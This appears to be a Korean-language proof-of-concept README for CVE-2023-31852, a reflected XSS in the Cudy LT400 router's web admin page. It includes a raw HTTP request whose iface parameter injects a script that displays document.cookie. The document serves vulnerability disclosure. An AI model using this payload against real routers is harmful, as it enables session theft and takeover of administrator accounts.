calfcrusher/cve-2023-31852Cudy LT400 웹 기반 관리 인터페이스의 반사형 XSS에 대한 개념 증명으로, /cgi-bin/luci/admin/network/wireless/config로 조작된 요청을 통해 세션 토큰 탈취 및 관리자 권한 탈취를 가능하게 합니다.
Cudy LT400의 웹 기반 관리 인터페이스에 반사형 크로스 사이트 스크립팅(XSS) 공격이 존재합니다.
/cgi-bin/luci/admin/network/wireless/config 페이지는 iface 매개변수를 통해 반사형 XSS가 있습니다.
공격 방법은 악성 코드가 포함된 특별히 조작된 요청을 피해자에게 보내는 것입니다.
영향을 받는 애플리케이션은 세션 쿠키에 HttpOnly 속성을 설정하지 않으므로, 세션 토큰 도용을 통해 관리자 계정 탈취가 발생할 수 있습니다.
GET /cgi-bin/luci/admin/network/wireless/config?nomodal=&iface=wlan00%22%3e%3cscript%3ealert(document.cookie)%3c%2fscript%3e HTTP/1.1
Host: 172.16.1.1
User-Agent: Mozilla/5.0
Accept: text/html, */*; q=0.01
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://172.16.1.1/cgi-bin/luci/admin/setup
Cookie: sysauth=REDACTED
Shenzhen Cudy Technology
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-31852